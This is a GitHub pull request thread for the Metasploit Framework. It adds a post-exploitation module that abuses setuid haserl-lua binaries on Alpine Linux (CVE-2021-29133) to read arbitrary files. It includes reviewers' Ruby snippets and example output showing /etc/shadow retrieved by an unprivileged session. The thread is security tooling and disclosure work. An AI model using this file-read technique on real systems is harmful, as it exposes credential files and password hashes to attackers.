

New issue

Jump to bottom

# Add an haserl-based exploit for Alpine linux #14833

Merged cdelafuente-r7 merged 1 commit into rapid7:master from jvoisin:add\_haserl on Apr 9, 2021

Conversation 37 Commits 1 Checks 14 Files changed 2



jvoisin commented on Mar 1, 2021

Contributor

## Verification

List the steps needed to make sure this thing works

- ☐ Start msfconsole
- ☐ Get a shell
- ☐ Do: use exploit/linux/gather/haserl\_read
- ☐ Set SESSION
- ☐ Do: run Or exploit
- ☐ Verify that the file was successfully downloaded

gwillcox-r7 added docs module labels on Mar 1, 2021

h00die commented on Mar 1, 2021

Contributor

@jvoisin this looks pretty fresh based on the tweet. Have you heard back from Alpine regarding a CVE, or were you interested in getting one assigned for this?

jvoisin commented on Mar 1, 2021

Contributor Author

The Alpine people are currently evaluating how to fix this issue. I don't know if they're planning on getting a CVE, and I wasn't planning on doing it myself. Do you think this is worth one?



bcoles reviewed on Mar 1, 2021

View changes

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved



bcoles reviewed on Mar 2, 2021

View changes

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated Show resolved

documentation/modules/post/linux/gather/haserl\_read.md Outdated Show resolved

documentation/modules/post/linux/gather/haserl\_read.md Outdated Show resolved



bcoles reviewed on Mar 2, 2021

View changes

bcoles left a comment

Contributor

tiny change in docs. the rest looks good to me.

documentation/modules/post/linux/gather/haserl\_read.md Outdated Show resolved

It would be nice to have the module automatically detect which version of lua to use, but my ruby sucks too much for me to implement this in a clean way.

It would be nice to have the module automatically detect which version of lua to use, but my ruby sucks too much for me to implement this in a clean way.

It doesn't look too hard (famous last words). Is the executable likely to be located in `/usr/bin/` ?

Here's some ideas if you're keen to give this a go.

A couple approaches:

- List all files in `/usr/bin`, find all instances beginning with `haserl`, check each for the suid bit
- List all suid executables in `/usr/bin`, check if each file begins with `haserl`

The simple and laziest option would be `get_suid_files` which returns an array of suid files in a directory:

[metasploit-framework/lib/msf/core/post/linux/system.rb](#)  
Lines 130 to 141 in 49e1ifa

```
130 #
131 # Gathers all SUID files on the filesystem.
132 # NOTE: This uses the Linux 'find' command. It will most likely take a while to get all files.
133 # Consider specifying a more narrow find path.
134 # @param findpath The path on the system to start searching
135 # @return [Array]
136 def get_suid_files(findpath = '/')
137   out = cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n")
138   out.delete_if {|i| i.include? 'Permission denied'}
139 rescue
140   raise "Could not retrieve all SUID files"
141 end
```

Although this depends on `find` - I'm not sure if it is expected to be present in minimal Alpine installs (unless it happens to be a dependency of `haserl`).

```
files = get_suid_files('/usr/bin') rescue nil

unless files
  fail_with(UnexpectedReply, 'Could not retrieve /usr/bin/ directory contents')
end

path = files.select {|f| f.starts_with?('haserl-lua') }.first

unless path
  fail_with(NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
end

print_good("Found set-uid haserl: #{path}")

# ...
```

Alternatively, using the other approach, something like this:

```
files = cmd_exec('ls /usr/bin/haserl*') # or /usr/bin/haserl-lua*

unless files
  fail_with(UnexpectedReply, 'Could not retrieve /usr/bin/ directory contents')
end

path = files.select {|f| setuid?(f) && f.include?('lua') }.first

unless path
  fail_with(NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
end

print_good("Found set-uid haserl: #{path}")

# ...
```

A similar approach using `grep` :

```
files = cmd_exec('ls /usr/bin/haserl* | grep lua')

unless files
  fail_with(UnexpectedReply, 'Found no haserl-lua executables in /usr/bin/')
end

path = files.select {|f| setuid?(f) }.first

unless path
  fail_with(NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
end

print_good("Found set-uid haserl: #{path}")

# ...
```

Thanks for the Ruby crash-course, I went with the first solution :)

Thanks for the Ruby crash-course, I went with the first solution :)

Unfortunately you've reverted the logic. `check` now makes use of `get_binary` which makes use of `fail_with`.

Also, this seems like useful information that shouldn't be hidden behind a `vprint`:

```
vprint_good("Found set-uid haserl: #{path}")
```

Also, this is an unusual structure:

```
files = begin
  get_suid_files('/usr/bin')
rescue StandardError
  nil
end
```

I'll take another look at this tomorrow unless someone else jumps in.



acammack-r7 reviewed on Mar 4, 2021

[View changes](#)

acammack-r7 left a comment

Contributor

Thanks for adding this! Framework can be a little touchy about how exceptions get used, so I've added some guidance about how to approach your shared binary check.

modules/post/linux/gather/haserl\_read.rb Outdated

Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated

Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated

Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated

Show resolved

modules/post/linux/gather/haserl\_read.rb

Show resolved

bcoles commented on Mar 4, 2021

Contributor

Here's a reusable `haserl_lua_paths` method which supports returning all instances in case you want to loop through them.

Also resolves use of `fail_with` in `check`.

```
def haserl_lua_paths
  begin
    get_suid_files('/usr/bin')
  rescue StandardError
    return
  end

  return unless files

  return files.select { |f| File.basename(f).starts_with?('haserl-lua') }
end

def check
  files = haserl_lua_paths

  if files.nil? || files.empty?
    Exploit::CheckCode::Safe("Could not find setuid haserl lua executable in /usr/bin/")
  end

  binary = files.first

  Exploit::CheckCode::Appears("#{binary} is present and setuid")
end

def run
  if is_root?
    fail_with(Failure::BadConfig, 'Session already has root privileges')
  end

  files = haserl_lua_paths

  if files.nil? || files.empty?
    fail_with(Failure::NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
  end

  binary = files.first

  print_good("Found set-uid haserl: #{binary}")

  output = cmd_exec("#{binary} '#{datastore['RFILE']}'")

  return if output.empty?

  fname = File.basename(datastore['RFILE'].downcase)
  p = store_loot(
    "haserl_#{fname}",
    'text/plain',
    session,
    output,
    "haserl_#{fname}",
    'haserl arbitrary read'
  )
end
```

```
vprint_good("#{fname} saved in: #{p}")
end
```

Ikke commented on Mar 24, 2021

@jvoisin this looks pretty fresh based on the tweet. Have you heard back from Alpine regarding a CVE, or were you interested in getting one assigned for this?

A CVE has been assigned: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29133>



Ikke suggested changes on Mar 24, 2021

[View changes](#)

Ikke left a comment

Now that the latest version of haserl is patched, it could be a good idea to check if it's actually working.

documentation/modules/post/linux/gather/haserl\_read.md Outdated

Show resolved

documentation/modules/post/linux/gather/haserl\_read.md Outdated

Show resolved



timwr reviewed on Mar 26, 2021

[View changes](#)

modules/post/linux/gather/haserl\_read.rb Outdated

Show resolved



timwr reviewed on Mar 26, 2021

[View changes](#)

```
modules/post/linux/gather/haserl_read.rb
25 + 'Platform' => [ 'linux' ],
26 + 'SessionTypes' => [ 'shell', 'meterpreter' ],
27 + 'References' => [
28 +   ['URL', 'https://twitter.com/stealth/status/1364940271854712842'],
```

timwr on Mar 26, 2021

Contributor

You're unable to view this Tweet because this account owner limits who can view their Tweets. [Learn more](#)

jvoisin on Mar 26, 2021

Contributor Author

Unfortunately, there is nothing I can do here :/

cdlafuente-r7 self-assigned this on Apr 1, 2021



cdlafuente-r7 reviewed on Apr 1, 2021

[View changes](#)

cdlafuente-r7 left a comment

Contributor

Thanks for this great contribution @jvoisin ! I tested it against a docker image with haserl version 0.9.35 and it works great. Also, I confirmed it has been fixed in version 0.9.36. That would be great to add this information to the documentation.

Before it lands, I added a couple of suggestions regarding the documentation and the check method.

documentation/modules/post/linux/gather/haserl\_read.md Outdated

Show resolved

modules/post/linux/gather/haserl\_read.rb Outdated

Show resolved

Add an haserl-based exploit for Alpine linux

✓ 943698e

cdlafuente-r7 commented on Apr 9, 2021 • edited

Contributor

Thanks for updating this @jvoisin. It looks good to me now. Only the documentation still needs a very small update to match the current output, but I'll do it myself, no problem ( [a2d6ba4](#) and [e48ebe6](#) ). I tested against a docker image with haserl version 0.9.35 and verified /etc/shadow file was correctly retrieved with a non-privileged user. I'll go ahead and land it.

### Example output

```
msf6 post(linux/gather/haserl_read) > sessions -v
```

```
Active sessions
=====
```

```
Session ID: 1
Name:
Type: shell unix
Info:
```

```
Tunnel: 192.168.11.12:4444 -> 192.168.11.13:58629 (192.168.11.13)
Via: exploit/multi/handler
Encrypted: No
UUID:
CheckIn: <none>
Registered: No
```

```
msf6 post(linux/gather/haserl_read) > set session 1
session => 1
msf6 post(linux/gather/haserl_read) > set verbose true
verbose => true
msf6 post(linux/gather/haserl_read) > options

Module options (post/linux/gather/haserl_read):

  Name      Current Setting  Required  Description
  ----
  RFILE     /etc/shadow      yes       File to read
  SESSION   1                yes       The session to run this module on.


msf6 post(linux/gather/haserl_read) > run

[!] SESSION may not be compatible with this module.
[+] Found set-uid haserl: /usr/bin/haserl-lua5.1
[+] shadow saved in: /home/msfuser/.msf4/loot/20210409125512_default_192.168.11.12_haserl_shadow_061826.txt
[*] Post module execution completed
```

 **cdelafuente-r7** added a commit that referenced this pull request on Apr 9, 2021

 Land [#14833](#), haserl-based exploit for Alpine linux

✓ 586d033

 **cdelafuente-r7** merged commit [943698e](#) into [rapid7:master](#) on Apr 9, 2021  
16 checks passed



[View details](#)

**cdelafuente-r7** commented on Apr 9, 2021 • edited by [pbarry-r7](#) ▾

Contributor

## Release Notes

New module `post/linux/gather/haserl_read` leverages an arbitrary read in haserl prior to 0.9.36. This vulnerability is identified as [CVE-2021-29133](#) and allows an attacker to read any file on the target filesystem without any specific privileges.

  **jvoisin** deleted the `add_haserl` branch last year

  **cdelafuente-r7** added the `rn-modules` label on Apr 12, 2021

### Reviewers

 [bcoles](#)

 [timwr](#)

 [acammack-r7](#)

 [cdelafuente-r7](#)

 [ikke](#)



### Assignees

 [cdelafuente-r7](#)

### Labels

[docs](#) **[module](#)** [rn-modules](#)

### Projects

None yet

### Milestone

No milestone

### Development

Successfully merging this pull request may close these issues.

None yet

### 8 participants

